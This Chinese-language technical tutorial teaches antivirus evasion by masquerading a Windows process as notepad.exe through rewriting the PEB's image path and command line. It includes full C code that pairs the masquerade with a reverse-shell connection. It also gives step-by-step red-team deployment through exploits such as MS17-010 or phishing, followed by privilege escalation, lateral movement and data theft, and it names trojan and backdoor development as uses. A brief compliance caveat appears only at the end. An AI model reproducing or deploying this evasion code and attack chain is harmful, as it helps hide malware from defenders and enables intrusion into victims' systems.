目录
R3进程伪装(免杀技术)高阶技术说明
深入剖析Windows进程规避免杀技术
学习R3进程伪装的必备技能
R3进程伪装的核心知识点与实现步骤
核心知识点
实现步骤
免杀实现步骤
PEB与EPROCESS的深入解析
1. PEB(进程环境块)
2. EPROCESS
3. PEB与EPROCESS对比
关键API解析与使用方式
R3进程伪装免杀的详细步骤与方案
详细步骤
思路与方案
实用场景与红队应用
实用场景
红队应用步骤
通俗解释
优势与局限
代码示例与逐行解析
逐行解析
编译与运行
通讯流程图(文本模式)
流程解释
🧭 综述|为什么“免杀”被归类为高级技术?
🆚 免杀与渗透测试的“天壤之别”
🧩 R3 进程伪装为何仍属高级?(即便当下易被识别)
🧪 学习难点(面向安全工程师)
🧱 总结
R3进程伪装(免杀技术)高阶技术说明
- 本文被归为高级技术文章,原因在于其深入探讨了Windows系统内部机制、低级系统编程以及进攻性安全技术的复杂概念。
- 文章聚焦于在用户态(Ring 3)下通过操控进程环境块(PEB)实现进程伪装,以规避安全工具的检测。
- 阅读本文需要具备以下基础知识:C语言编程、Windows API、内存管理、汇编语言,以及对反病毒规避和红队攻击等安全概念的熟悉。
- 文章内容涉及动态API加载、NT级系统调用和直接内存操作,这些都是复杂且易出错的过程,通常仅适用于经验丰富的开发者或安全专家。
- 此外,文章还结合了对内核结构(如EPROCESS)的详细分析以及代码示例,使其成为面向具有系统编程和网络安全高级知识读者的专业话题。
- 所以即使是基础的免杀的技术也属于高级技术水平的范畴 !!!!
深入剖析Windows进程规避免杀技术
- 在网络安全领域,尤其是在红队操作和恶意软件开发中,规避检测是至关重要的核心目标。
- R3进程伪装:
- 是一种强大的技术,通过在Windows用户态(Ring 3)下修改进程环境块(PEB),使恶意进程伪装成合法程序(如记事本),从而躲避任务管理器和杀毒软件的检测。
- 本文将详细解析R3进程伪装的原理、实现步骤、代码示例以及在红队攻击中的应用,适合对Windows系统 internals 和免杀技术感兴趣的高级读者。
学习R3进程伪装的必备技能
-
C语言编程基础
-
内容:变量、指针、结构体、内存操作(如
memcpy
、strcpy
)、函数调用。 -
作用:R3伪装涉及直接操作内存和调用Windows API,C语言是实现这些操作的基础。
-
通俗解释:就像学会使用螺丝刀和扳手,才能拆装“进程的零件”。
-
学习建议:熟悉指针(
*
和&
)和结构体(如struct
定义),推荐阅读《C Primer Plus》。
-
-
Windows操作系统基础
-
内容:进程、线程、用户态(R3)与内核态(R0)的区别、Windows内存管理。
-
作用:理解进程运行机制以及PEB和EPROCESS的存储位置。
-
通俗解释:就像了解房子的结构,才能找到“户口本”(PEB)的存放位置。
-
学习建议:阅读《Windows Internals》入门章节,掌握进程和线程的概念。
-
-
Windows API基础
-
内容:调用Windows函数(如
GetCurrentProcess
)、动态链接库(DLL)、函数指针。 -
作用:伪装需要调用
NtQueryInformationProcess
等API获取PEB。 -
通俗解释:API是“工具箱”,帮你打开进程的“锁”。
-
学习建议:查阅MSDN文档,练习调用简单API(如
MessageBox
)。
-
-
内存与汇编基础
-
内容:内存地址、寄存器(如
fs
/gs
)、堆栈、偏移量。 -
作用:通过TEB获取PEB需要了解内存偏移,汇编可直接操作寄存器。
-
通俗解释:就像用地图和指南针找到“宝藏”(PEB)的具体位置。
-
学习建议:学习x86/x64汇编基础,了解
fs:[0x30]
(TEB到PEB的偏移)。
-
-
进程管理工具的使用
-
内容:任务管理器、Process Explorer、Process Monitor的基本操作。
-
作用:验证伪装效果,观察进程的路径和命令行。
-
通俗解释:就像用放大镜检查伪装后的“身份证”是否成功。
-
学习建议:下载Process Explorer,练习查看进程详细信息。
-
-
网络安全基础
-
内容:恶意代码、免杀技术、杀毒软件检测原理、红队渗透测试概念。
-
作用:理解伪装的意义,结合红队场景应用。
-
通俗解释:知道“坏人”为什么要伪装,才能设计更好的伪装。
-
学习建议:阅读《Web安全深度剖析》或CTF相关教程,了解免杀背景。
-
R3进程伪装的核心知识点与实现步骤
核心知识点
R3进程伪装是指在Windows用户态(Ring 3)下,通过修改PEB(进程环境块)结构体,使恶意进程看起来像合法程序(如notepad.exe
),从而规避任务管理器和杀毒软件的检测。
-
PEB:进程的“身份证”,记录路径、命令行等信息。
-
伪装目标:让任务管理器显示进程为
notepad.exe
,路径为C:\Windows\System32\notepad.exe
。 -
局限性:仅对R3工具有效,对R0工具(如内核调试器)需修改EPROCESS。
-
通俗解释:就像给“坏人”换上“好人”的衣服和证件,骗过普通检查。
实现步骤
-
获取当前进程句柄
-
使用
GetCurrentProcess
获取进程句柄。 -
作用:句柄是操作进程的“通行证”。
-
-
获取PEB地址
-
使用
NtQueryInformationProcess
查询PEB地址,或通过TEB偏移(fs:[0x30]
)。 -
作用:找到PEB的内存位置以进行修改。
-
-
定位关键字段
-
访问PEB的
ProcessParameters
(RTL_USER_PROCESS_PARAMETERS
类型),找到ImagePathName
和CommandLine
。 -
作用:这些字段控制进程显示的路径和命令行。
-
-
修改字段
-
将
ImagePathName
改为C:\Windows\System32\notepad.exe
。 -
将
CommandLine
改为notepad.exe
。 -
更新
Length
和MaximumLength
字段。 -
作用:伪装成合法程序的信息。
-
-
验证效果
-
用任务管理器或Process Explorer检查进程是否显示为
notepad.exe
。 -
作用:确认伪装成功。
-
免杀实现步骤
-
开发恶意代码:编写包含伪装功能的程序,隐藏真实意图(如反向Shell)。
-
伪装PEB:修改PEB字段,伪装成记事本。
-
上传与执行:通过漏洞或社会工程上传到目标主机,运行程序。
-
躲避检测:杀毒软件读取PEB,未发现异常,允许运行。
-
执行恶意行为:建立Shell或执行其他攻击。
PEB与EPROCESS的深入解析
1. PEB(进程环境块)
-
定义:PEB是用户态的结构体,存储进程的运行时信息,位于进程的私有内存。
-
关键字段(参考
winternl.h
):typedef struct _PEB {BOOLEAN InheritedAddressSpace; // 是否继承地址空间BOOLEAN ReadImageFileExecOptions; // 读取执行选项BOOLEAN BeingDebugged; // 是否被调试BYTE Spare;HANDLE Mutant; // 互斥体句柄PVOID ImageBaseAddress; // 镜像基址PVOID Ldr; // 模块加载信息RTL_USER_PROCESS_PARAMETERS* ProcessParameters; // 进程参数// 其他字段 } PEB, *PPEB;
-
ProcessParameters:
typedef struct _RTL_USER_PROCESS_PARAMETERS {ULONG MaximumLength; // 结构体最大长度ULONG Length; // 结构体实际长度ULONG Flags; // 标志位ULONG DebugFlags; // 调试标志HANDLE ConsoleHandle; // 控制台句柄UNICODE_STRING CurrentDirectoryPath; // 当前目录HANDLE CurrentDirectoryHandle; // 目录句柄UNICODE_STRING DllPath; // DLL路径UNICODE_STRING ImagePathName; // 镜像路径UNICODE_STRING CommandLine; // 命令行// 其他字段 } RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
-
UNICODE_STRING:
typedef struct _UNICODE_STRING {USHORT Length; // 字符串长度(字节)USHORT MaximumLength; // 缓冲区最大长度PWSTR Buffer; // 字符串缓冲区 } UNICODE_STRING, *PUNICODE_STRING;
-
底层原理:
-
内存分配:进程创建时,Windows在用户态内存分配PEB,
ProcessParameters
指向另一块内存。 -
访问方式:通过TEB的指针(
fs:[0x30]
)或NtQueryInformationProcess
获取PEB地址。 -
修改机制:直接写入
ImagePathName.Buffer
和CommandLine.Buffer
,更新长度字段。
-
-
通俗解释:PEB是“身份证”,
ProcessParameters
是“详细信息页”,记录名字和地址,改了就能冒充别人。
2. EPROCESS
-
定义:EPROCESS是内核态的结构体,存储进程的完整信息,位于内核内存。
-
关键字段(部分,非公开,需内核调试查看):
-
ImageFileName
:进程文件名(如notepad.exe
)。 -
UniqueProcessId
:进程ID。 -
SectionBaseAddress
:可执行文件基址。 -
ActiveProcessLinks
:进程链表。
-
-
底层原理:
-
内存分配:进程创建时,内核分配EPROCESS,存储在非分页内存。
-
访问方式:通过内核API(如
PsGetProcessPeb
)或驱动程序访问。 -
修改难度:需内核权限,涉及驱动开发,修改可能影响句柄表、内存页等。
-
-
通俗解释:EPROCESS是“户籍档案”,比PEB更权威,改它需要“公安局长”权限。
3. PEB与EPROCESS对比
特性 | PEB | EPROCESS |
---|---|---|
位置 | 用户态(R3) | 内核态(R0) |
访问权限 | 可直接修改 | 需内核权限 |
检测工具 | 任务管理器、Process Explorer | WinDbg、内核调试器 |
修改难度 | 简单,适合初学者 | 复杂,需驱动开发 |
伪装效果 | 骗R3工具 | 骗R0工具 |
关键API解析与使用方式
-
GetCurrentProcess
-
作用:获取当前进程的伪句柄(
0xFFFFFFFF
),无需打开即可使用。 -
用法:
HANDLE hProcess = GetCurrentProcess();
-
通俗解释:像领取“门票”,证明你是这个进程。
-
-
NtQueryInformationProcess
-
作用:查询进程信息,包括PEB地址。
-
定义:
typedef NTSTATUS (NTAPI *pNtQueryInformationProcess)(HANDLE ProcessHandle,PROCESSINFOCLASS ProcessInformationClass,PVOID ProcessInformation,ULONG ProcessInformationLength,PULONG ReturnLength );
-
用法:
PROCESS_BASIC_INFORMATION pbi; NtQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, &pbi, sizeof(pbi), NULL); PEB* peb = pbi.PebBaseAddress;
-
通俗解释:像问“警察”进程的“户口本”在哪,他告诉你地址。
-
-
GetProcAddress与GetModuleHandle
-
作用:动态获取API地址(如
NtQueryInformationProcess
)。 -
用法:
pNtQueryInformationProcess NtQuery = (pNtQueryInformationProcess)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryInformationProcess");
-
通俗解释:像去“工具店”借“扳手”,动态获取工具。
-
R3进程伪装免杀的详细步骤与方案
详细步骤
-
准备环境:
-
工具:Visual Studio、MinGW,Windows 7/10/11(x86/x64)。
-
目标:伪装为
C:\Windows\System32\notepad.exe
。 -
测试工具:任务管理器、Process Explorer、杀毒软件。
-
-
编写基础代码:
-
创建简单程序(如打印“Hello”),加入伪装功能。
-
-
获取进程句柄:
-
调用
GetCurrentProcess
。
-
-
获取PEB地址:
-
使用
NtQueryInformationProcess
查询。
-
-
定位关键字段:
-
访问
PEB->ProcessParameters->ImagePathName
和CommandLine
。
-
-
修改字段:
-
用
wcscpy
复制记事本路径和命令行,更新长度字段。
-
-
验证效果:
-
检查任务管理器,确认显示为
notepad.exe
。
-
-
添加恶意功能:
-
加入反向Shell或其他攻击代码。
-
思路与方案
-
思路:
-
隐藏真实身份:通过PEB修改,让进程表面合法。
-
动态加载API:避免静态导入被检测。
-
安全内存操作:检查缓冲区,防止崩溃。
-
测试与优化:多次验证,确保效果稳定。
-
-
方案:
-
开发阶段:用C语言编写,结合Winsock实现Shell。
-
测试阶段:在虚拟机测试,检查任务管理器和杀毒软件。
-
部署阶段:通过漏洞或钓鱼上传,执行后获取控制权。
-
优化阶段:加入加密、混淆,提高免杀能力。
-
实用场景与红队应用
实用场景
-
渗透测试:红队上传恶意代码,伪装成合法进程以规避检测。
-
恶意软件开发:木马、后门程序使用R3伪装提升隐蔽性。
-
免杀研究:测试杀毒软件检测能力,开发新型免杀技术。
红队应用步骤
-
开发Payload:编写包含伪装和Shell功能的程序,伪装为记事本。
-
上传目标主机:利用漏洞(如MS17-010)或钓鱼邮件。
-
执行程序:伪装为
notepad.exe
,规避R3工具和杀毒软件。 -
获取Shell:建立反向TCP连接,获得命令行控制权。
-
后续操作:提权、横向移动、窃取数据。
通俗解释
-
场景:你是个“间谍”,想混进敌方基地。伪装成“清洁工”(记事本),门卫(任务管理器)检查证件(PEB)后放行。
-
效果:只要不遇到“高级特工”(R0工具),就能安全行动。
优势与局限
-
优势:简单高效,适合初学者;对R3工具有效,隐蔽性强。
-
局限:对R0工具无效;高级杀毒软件可能检测行为异常。
代码示例与逐行解析
以下是实现R3进程伪装的C语言代码,包含反向Shell功能:
#include <windows.h>
#include <winternl.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
typedef NTSTATUS (NTAPI *pNtQueryInformationProcess)(HANDLE ProcessHandle,PROCESSINFOCLASS ProcessInformationClass,PVOID ProcessInformation,ULONG ProcessInformationLength,PULONG ReturnLength
);
int main() {// 1. 初始化WinsockWSADATA wsaData;if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {printf("Winsock初始化失败\n");return 1;}
// 2. 获取NtQueryInformationProcess地址pNtQueryInformationProcess NtQuery = (pNtQueryInformationProcess)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryInformationProcess");if (!NtQuery) {printf("无法获取NtQueryInformationProcess\n");return 1;}
// 3. 获取PEB地址PROCESS_BASIC_INFORMATION pbi;NTSTATUS status = NtQuery(GetCurrentProcess(), ProcessBasicInformation, &pbi, sizeof(pbi), NULL);if (status != 0) {printf("NtQueryInformationProcess失败,状态码: 0x%X\n", status);return 1;}PEB* peb = pbi.PebBaseAddress;
// 4. 获取进程参数RTL_USER_PROCESS_PARAMETERS* params = peb->ProcessParameters;
// 5. 定义伪装目标const wchar_t* notepad_path = L"C:\\Windows\\System32\\notepad.exe";const wchar_t* notepad_cmdline = L"notepad.exe";
// 6. 检查缓冲区大小size_t path_len = wcslen(notepad_path) * sizeof(wchar_t);size_t cmdline_len = wcslen(notepad_cmdline) * sizeof(wchar_t);if (path_len > params->ImagePathName.MaximumLength || cmdline_len > params->CommandLine.MaximumLength) {printf("缓冲区大小不足\n");return 1;}
// 7. 修改ImagePathNamewcscpy(params->ImagePathName.Buffer, notepad_path);params->ImagePathName.Length = (USHORT)path_len;params->ImagePathName.MaximumLength = (USHORT)(path_len + sizeof(wchar_t));
// 8. 修改CommandLinewcscpy(params->CommandLine.Buffer, notepad_cmdline);params->CommandLine.Length = (USHORT)cmdline_len;params->CommandLine.MaximumLength = (USHORT)(cmdline_len + sizeof(wchar_t));
// 9. 测试伪装效果printf("进程已伪装为记事本\n");Sleep(5000);
// 10. 模拟反向ShellSOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);if (sock == INVALID_SOCKET) {printf("Socket创建失败\n");WSACleanup();return 1;}
struct sockaddr_in server;server.sin_family = AF_INET;server.sin_port = htons(4444);inet_pton(AF_INET, "127.0.0.1", &server.sin_addr);
if (connect(sock, (struct sockaddr*)&server, sizeof(server)) == SOCKET_ERROR) {printf("连接服务器失败\n");closesocket(sock);WSACleanup();return 1;}
// 11. 执行命令char buffer[1024];while (1) {int bytes = recv(sock, buffer, sizeof(buffer) - 1, 0);if (bytes <= 0) break;buffer[bytes] = '\0';printf("收到命令: %s\n", buffer);send(sock, "命令已执行\n", strlen("命令已执行\n"), 0);}
closesocket(sock);WSACleanup();return 0;
}
逐行解析
-
包含头文件:
windows.h
提供API,winternl.h
定义PEB,winsock2.h
用于网络。 -
定义API:声明
NtQueryInformationProcess
,确保兼容性。 -
初始化Winsock:为反向Shell准备网络环境。
-
动态加载API:从
ntdll.dll
获取函数地址,提高隐蔽性。 -
获取PEB:调用API,提取
PebBaseAddress
。 -
定位参数:
peb->ProcessParameters
指向路径和命令行。 -
检查缓冲区:防止溢出,确保安全。
-
修改字段:复制记事本信息,更新长度字段。
-
暂停测试:暂停5秒,检查任务管理器。
-
反向Shell:创建TCP连接,模拟攻击者控制。
-
命令执行:接收并处理攻击者命令。
编译与运行
-
工具:Visual Studio,需链接
ws2_32.lib
。 -
步骤:编译为EXE,在攻击者机器监听端口4444,运行程序检查伪装和Shell。
通讯流程图(文本模式)
恶意进程 Windows API PEB结构 工具/杀软 攻击者服务器│ │ │ │ ││ --(1)--> 获取当前进程句柄: GetCurrentProcess│ ---------------->││ ││ --(2)--> 查询PEB地址: NtQueryInformationProcess│ ---------------->││ ││ <--(3)-- 获取PEB->ProcessParameters│ <----------------││ ││ --(4)--> 修改ImagePathName = "C:\Windows\System32\notepad.exe"│ ---------------->││ --(5)--> 修改CommandLine = "notepad.exe"│ ---------------->││ --(6)--> 更新UNICODE_STRING的Length和MaximumLength字段│ ---------------->││ ││ --(10)--> 创建远程Shell连接│ --------------------------------------------------->││ ││ <--(11)-- 攻击者控制Shell│ <---------------------------------------------------││ ││ <--(7)-- 工具(任务管理器)读取PEB参数│ <-------------------------------││ ││ --(8)--> 显示为notepad.exe│ ------------------------------>││ ││ <--(9)-- 杀毒软件查询PEB字段,未发现异常│ <-------------------------------│
流程解释
-
进程启动,获取句柄。
-
查询PEB地址。
-
定位
ProcessParameters
。 4-5. 修改路径和命令行。 -
更新长度字段。 7-9. 任务管理器和杀毒软件读取PEB,显示伪装信息。 10-11. 建立反向Shell,执行攻击者命令。
🧭 综述|为什么“免杀”被归类为高级技术?
“免杀”(Evasion/EDR Bypass)之所以被视为高级安全工程师范畴,核心在于它要求对操作系统内部机理、安全产品侦测链条、对抗性思维与工程落地能力的深度融合:
-
系统内核与用户态协同认知:理解 R0(内核)与 R3(用户态)数据结构、调用路径、内存布局及其一致性校验逻辑(如 PEB ↔ EPROCESS 的多视角交叉校验)。
-
侦测面与遥测面洞察:熟悉 EDR/AV 的特征、行为、内存、内核、云侧等多引擎规则,明白自己每一步会在哪里留下信号。
-
对抗性设计与策略迁移:知道“今天有效”不代表“明天仍有效”,需要以快速迭代、变体生成、降噪隐蔽为导向的工程方法论。
-
高风险与高要求的伦理/合规边界:只在授权场景下用于“验证与加固”,并对可复现性/可回滚与最小影响原则负责。
结论:免杀 ≠ 常规渗透测试的一个子步骤,它是对抗工程本身,强调“被看见/被还原/被阻断”难度的系统性降低,因此属于高级技术序列。
🆚 免杀与渗透测试的“天壤之别”
-
目标不同:
-
渗透测试:以发现漏洞与风险为目标,强调可验证性与报告性(复现路径、影响评估、修复建议)。
-
免杀/对抗:以降低被检测概率为目标,强调对抗性、隐匿性、持久性,并考虑侦测面噪声管理与取证抗性。
-
-
工作对象不同:
-
渗透测试:围绕业务/应用/网络暴露面(Web、AD、配置缺陷等)。
-
免杀/对抗:围绕主机遥测链(API、系统调用、内核对象、内存图像、事件日志、ETW、驱动通信)。
-
-
能力栈不同:
-
渗透测试:协议、资产、攻击面、漏洞利用链条。
-
免杀/对抗:Windows Internals、内存工学、编译与链接、加载器、反沙箱、反调试、威胁情报与检测逻辑反推。
-
因此,“免杀”在组织里更接近红/蓝/红队交叉的对抗工程师角色,而非传统渗透岗位。
🧩 R3 进程伪装为何仍属高级?(即便当下易被识别)
-
机制复杂:涉及对 PEB(进程环境块)、RTL_USER_PROCESS_PARAMETERS 等用户态结构的理解与一致性维护;任何疏漏都会在系统调用链/遥测层产生“畸变痕迹”。
-
检测不断演进:现代 EDR/AV 通过多源交叉验证(内核 EPROCESS 视图、句柄表、Image Load、ETW、父子进程血缘、命令行/签名/令牌一致性等)能较易识别单点伪装。这恰恰说明要想持久规避,必须掌握更系统的对抗工程能力。
-
工程门槛高:不仅要“改得动”,还要“不失稳、不破坏、不暴露”,包括内存安全、异常处理、回滚策略、兼容性与崩溃转储影响评估。
结论:“容易被识别 ≠ 不是高级”。R3 伪装是理解 Windows 进程生态与遥测对抗的必修课,其思维与方法对任何对抗技术都有迁移价值。
🧪 学习难点(面向安全工程师)
-
Windows Internals 深度:对象管理器、内核对象生命周期、句柄与引用计数、线程与进程创建路径(包括 CSRSS/SMSS 参与)等。
-
内存与字符串安全:结构体布局、对齐、长度字段语义、Unicode 与 ANSI 边界、边界检查、异常安全。
-
遥测生态学:理解 ETW/Sysmon/EDR 采集的维度与缺陷,知道“什么会被看见、如何被还原”。
-
对抗与取证共识:蓝队如何复盘(内核对象漫游、内存取证、事件时间线),对抗侧如何降噪(合规研究前提下)。
-
可迁移工程力:编译/链接/加载器知识、异常处理、兼容性与稳定性测试、崩溃分析。
🧱 总结
-
免杀是将系统原理、遥测理解与对抗工程融为一体的高阶能力。
-
R3 进程伪装作为入门级对抗题材,能帮助团队建立“R3 表象 vs R0 事实”的认知框架。
-
现代防御的关键在于多源交叉与行为关联,把“伪装”从特征问题升级为系统还原问题。
-
任何实践请严格遵循授权与合规要求,目标是提升防守方能力而非制造风险。